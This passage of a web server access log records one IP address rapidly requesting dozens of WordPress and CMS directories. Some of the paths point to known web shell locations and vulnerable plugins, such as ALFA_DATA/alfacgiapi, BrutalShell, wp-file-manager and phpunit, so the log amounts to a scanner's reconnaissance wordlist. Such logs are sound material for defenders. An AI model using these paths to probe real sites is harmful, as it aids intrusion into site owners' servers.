(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:20 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:20 +0300] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:27:21 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:21 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:27:21 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:21 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:27:22 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:22 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:23 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:23 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:27:23 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:24 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:24 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:27:24 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:25 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:25 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:25 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:26 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:26 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:26 +0300] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:27:26 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:27:26 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:27 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:27 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:27 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:27:28 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:28 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:27:28 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:28 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:27:29 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:29 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:29 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:30 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:30 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:30 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:31 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:31 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:31 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:32 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:32 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:32 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:27:33 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:33 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:33 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:33 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:34 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:27:34 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:34 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:34 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:35 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:35 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:27:35 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:35 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:36 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:36 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:37 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:27:37 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:37 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:37 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:38 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:38 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:39 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:39 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:39 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:40 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:40 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:40 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:40 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:41 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:41 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:41 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:41 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:42 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:27:42 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:27:42 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:27:43 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:43 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:43 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:44 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:44 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:44 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:27:44 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:27:45 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:45 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:45 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:27:46 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:46 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:27:46 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:27:46 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:47 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:47 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:47 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:27:48 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:48 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:48 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:48 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:27:48 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:49 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:49 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:49 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:50 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:50 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:27:50 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:51 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:51 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:51 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:52 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:52 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:52 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:27:52 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:53 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:27:53 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 